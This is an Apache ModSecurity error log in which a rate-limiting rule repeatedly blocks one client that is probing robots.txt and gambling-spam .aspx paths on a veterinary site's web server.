[Mon Mar 30 20:53:12.597967 2026] [:error] [pid 35250:tid 35323] [client 51.161.86.195:49442] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "acpyOIaKM1MR6zcp2YN7HQAAAMw"]
[Mon Mar 30 20:53:15.403176 2026] [:error] [pid 50663:tid 50681] [client 51.161.86.195:49446] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "acpyO228b9DKIAMEdfBF0AAAAZA"]
[Mon Mar 30 20:53:16.872261 2026] [:error] [pid 50663:tid 50679] [client 51.161.86.195:54406] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "acpyPG28b9DKIAMEdfBF1gAAAY4"]
[Mon Mar 30 20:53:19.654666 2026] [:error] [pid 11947:tid 11960] [client 51.161.86.195:54408] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "acpyPzSVtzzXIgk-FgmBIgAAAgs"]
[Mon Mar 30 20:53:19.697496 2026] [:error] [pid 35248:tid 35254] [client 51.161.86.195:54422] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "acpyP73igMCgAQPFS_-s2wAAAEA"]
[Mon Mar 30 20:53:24.533393 2026] [:error] [pid 41941:tid 41950] [client 51.161.86.195:54430] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "acpyRCB2g7BNCXGBOJOAMgAAAQc"]
[Mon Mar 30 20:53:24.738162 2026] [:error] [pid 41941:tid 41946] [client 51.161.86.195:54432] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "acpyRCB2g7BNCXGBOJOANAAAAQM"]
[Mon Mar 30 20:53:29.563784 2026] [:error] [pid 12106:tid 12122] [client 51.161.86.195:48024] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "acpySbIKxOs8TAdw7hcimQAAAo4"]
[Mon Mar 30 20:53:37.905025 2026] [:error] [pid 64743:tid 64763] [client 51.161.86.195:47486] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "acpyUSzmpVL6Ubzil4iqWAAAAVI"]
[Mon Mar 30 20:53:42.450490 2026] [:error] [pid 41941:tid 41956] [client 51.161.86.195:47494] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "acpyViB2g7BNCXGBOJOAPwAAAQ0"]
[Mon Mar 30 20:53:50.258725 2026] [:error] [pid 50663:tid 50686] [client 51.161.86.195:59768] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "acpyXm28b9DKIAMEdfBGHQAAAZU"]
[Mon Mar 30 20:53:53.131500 2026] [:error] [pid 35250:tid 35333] [client 51.161.86.195:59782] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "acpyYYaKM1MR6zcp2YN7RAAAANY"]
[Mon Mar 30 20:53:54.679804 2026] [:error] [pid 35250:tid 35322] [client 51.161.86.195:59790] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "acpyYoaKM1MR6zcp2YN7RwAAAMs"]
[Mon Mar 30 20:53:57.543052 2026] [:error] [pid 11947:tid 11954] [client 51.161.86.195:55418] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "acpyZTSVtzzXIgk-FgmCpAAAAgU"]
[Mon Mar 30 20:54:49.767648 2026] [:error] [pid 35248:tid 35258] [client 51.161.86.195:37894] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "acpymb3igMCgAQPFS_-tcgAAAEQ"]
[Mon Mar 30 20:54:54.249567 2026] [:error] [pid 35248:tid 35259] [client 51.161.86.195:37906] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "acpynr3igMCgAQPFS_-teQAAAEU"]
[Mon Mar 30 20:55:48.390330 2026] [:error] [pid 50663:tid 50666] [client 51.161.86.195:51578] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20co.aspx"] [unique_id "acpy1G28b9DKIAMEdfBHYwAAAYE"]
[Mon Mar 30 20:55:49.640709 2026] [:error] [pid 12106:tid 12122] [client 51.161.86.195:51562] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "acpy1bIKxOs8TAdw7hcjDQAAAo4"]
[Mon Mar 30 20:55:50.716485 2026] [:error] [pid 12046:tid 12055] [client 51.161.86.195:38068] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "acpy1pDbtlkoJ6ELn7gkWAAAAkY"]
[Mon Mar 30 20:55:52.094245 2026] [:error] [pid 11947:tid 11955] [client 51.161.86.195:38082] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "acpy2DSVtzzXIgk-FgmEEAAAAgY"]
[Mon Mar 30 20:55:52.940769 2026] [:error] [pid 35250:tid 35311] [client 51.161.86.195:38092] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "acpy2IaKM1MR6zcp2YN7vQAAAMA"]
[Mon Mar 30 20:55:54.494397 2026] [:error] [pid 50663:tid 50667] [client 51.161.86.195:38106] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20168.aspx"] [unique_id "acpy2m28b9DKIAMEdfBHZQAAAYI"]
[Mon Mar 30 20:55:55.409044 2026] [:error] [pid 35248:tid 35262] [client 51.161.86.195:38122] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "acpy273igMCgAQPFS_-twQAAAEg"]
[Mon Mar 30 20:55:56.791110 2026] [:error] [pid 50663:tid 50675] [client 51.161.86.195:52020] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20auto.aspx"] [unique_id "acpy3G28b9DKIAMEdfBHbAAAAYo"]
[Mon Mar 30 20:55:57.801505 2026] [:error] [pid 50663:tid 50686] [client 51.161.86.195:52032] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20168.aspx"] [unique_id "acpy3W28b9DKIAMEdfBHcwAAAZU"]
[Mon Mar 30 20:55:59.175335 2026] [:error] [pid 35249:tid 35302] [client 51.161.86.195:52040] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "acpy3yqCKiTq85d6rgBcMQAAAJI"]
[Mon Mar 30 20:56:00.361354 2026] [:error] [pid 35250:tid 35312] [client 51.161.86.195:52048] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20auto.aspx"] [unique_id "acpy4IaKM1MR6zcp2YN7ywAAAME"]
[Mon Mar 30 20:56:01.516181 2026] [:error] [pid 41941:tid 41951] [client 51.161.86.195:52056] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "acpy4SB2g7BNCXGBOJOAmwAAAQg"]
[Mon Mar 30 20:56:03.005522 2026] [:error] [pid 50663:tid 50686] [client 51.161.86.195:52064] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "acpy4228b9DKIAMEdfBHfAAAAZU"]
[Mon Mar 30 20:56:04.113543 2026] [:error] [pid 12046:tid 12072] [client 51.161.86.195:52078] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "acpy5JDbtlkoJ6ELn7gkXgAAAlc"]
[Mon Mar 30 20:56:05.786919 2026] [:error] [pid 64743:tid 64748] [client 51.161.86.195:52088] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "acpy5SzmpVL6Ubzil4iqwgAAAUM"]
[Mon Mar 30 20:56:06.526901 2026] [:error] [pid 11947:tid 11954] [client 51.161.86.195:56386] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "acpy5jSVtzzXIgk-FgmERQAAAgU"]
[Mon Mar 30 20:56:09.052975 2026] [:error] [pid 11947:tid 11971] [client 51.161.86.195:56396] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "acpy6TSVtzzXIgk-FgmETQAAAhY"]
[Mon Mar 30 20:56:09.555408 2026] [:error] [pid 11947:tid 11972] [client 51.161.86.195:56410] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "acpy6TSVtzzXIgk-FgmEUAAAAhc"]
[Mon Mar 30 20:56:11.561791 2026] [:error] [pid 64743:tid 64767] [client 51.161.86.195:56414] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "acpy6yzmpVL6Ubzil4iqxAAAAVY"]
[Mon Mar 30 20:56:12.017164 2026] [:error] [pid 41941:tid 41961] [client 51.161.86.195:56420] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "acpy7CB2g7BNCXGBOJOAogAAARI"]
[Mon Mar 30 20:56:14.044403 2026] [:error] [pid 41941:tid 41951] [client 51.161.86.195:56430] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "acpy7iB2g7BNCXGBOJOAqgAAAQg"]
[Mon Mar 30 20:56:15.565536 2026] [:error] [pid 11947:tid 11964] [client 51.161.86.195:56436] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "acpy7zSVtzzXIgk-FgmEawAAAg8"]
[Mon Mar 30 20:56:16.443591 2026] [:error] [pid 50663:tid 50678] [client 51.161.86.195:45046] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "acpy8G28b9DKIAMEdfBHmgAAAY0"]
[Mon Mar 30 20:56:18.177331 2026] [:error] [pid 35249:tid 35296] [client 51.161.86.195:45056] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "acpy8iqCKiTq85d6rgBcPQAAAIw"]
[Mon Mar 30 20:56:19.055437 2026] [:error] [pid 50663:tid 50688] [client 51.161.86.195:45070] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "acpy8228b9DKIAMEdfBHpgAAAZc"]
[Mon Mar 30 20:56:21.043112 2026] [:error] [pid 50663:tid 50669] [client 51.161.86.195:45072] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "acpy9W28b9DKIAMEdfBHqAAAAYQ"]
[Mon Mar 30 20:56:21.362015 2026] [:error] [pid 11947:tid 11952] [client 51.161.86.195:45076] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "acpy9TSVtzzXIgk-FgmEmwAAAgM"]
[Mon Mar 30 20:56:23.693427 2026] [:error] [pid 50663:tid 50675] [client 51.161.86.195:45092] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "acpy9228b9DKIAMEdfBHrAAAAYo"]
[Mon Mar 30 20:56:24.149184 2026] [:error] [pid 11947:tid 11954] [client 51.161.86.195:45102] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "acpy-DSVtzzXIgk-FgmEnQAAAgU"]
[Mon Mar 30 20:56:26.287953 2026] [:error] [pid 50663:tid 50667] [client 51.161.86.195:48324] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "acpy-m28b9DKIAMEdfBHrQAAAYI"]
[Mon Mar 30 20:56:26.599249 2026] [:error] [pid 50663:tid 50670] [client 51.161.86.195:48330] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "acpy-m28b9DKIAMEdfBHrgAAAYU"]
[Mon Mar 30 20:56:28.631386 2026] [:error] [pid 12106:tid 12112] [client 51.161.86.195:48332] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "acpy_LIKxOs8TAdw7hcjJQAAAoQ"]
[Mon Mar 30 20:56:29.121917 2026] [:error] [pid 12046:tid 12073] [client 51.161.86.195:48334] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "acpy_ZDbtlkoJ6ELn7gkbQAAAlg"]
[Mon Mar 30 20:56:31.631654 2026] [:error] [pid 11947:tid 11949] [client 51.161.86.195:48350] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "acpy_zSVtzzXIgk-FgmEowAAAgA"]
[Mon Mar 30 20:56:31.903363 2026] [:error] [pid 11947:tid 11952] [client 51.161.86.195:48340] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "acpy_zSVtzzXIgk-FgmEpQAAAgM"]
[Mon Mar 30 20:56:33.927432 2026] [:error] [pid 12046:tid 12050] [client 51.161.86.195:48358] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "acpzAZDbtlkoJ6ELn7gkbgAAAkE"]
[Mon Mar 30 20:56:35.030347 2026] [:error] [pid 35343:tid 35352] [client 51.161.86.195:48372] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "acpzA6P5HurqmbvwN-I1YAAAAAc"]
[Mon Mar 30 20:56:36.485194 2026] [:error] [pid 50663:tid 50674] [client 51.161.86.195:50052] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "acpzBG28b9DKIAMEdfBHvwAAAYk"]
[Mon Mar 30 20:56:37.958131 2026] [:error] [pid 35250:tid 35327] [client 51.161.86.195:50064] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "acpzBYaKM1MR6zcp2YN7-AAAANA"]
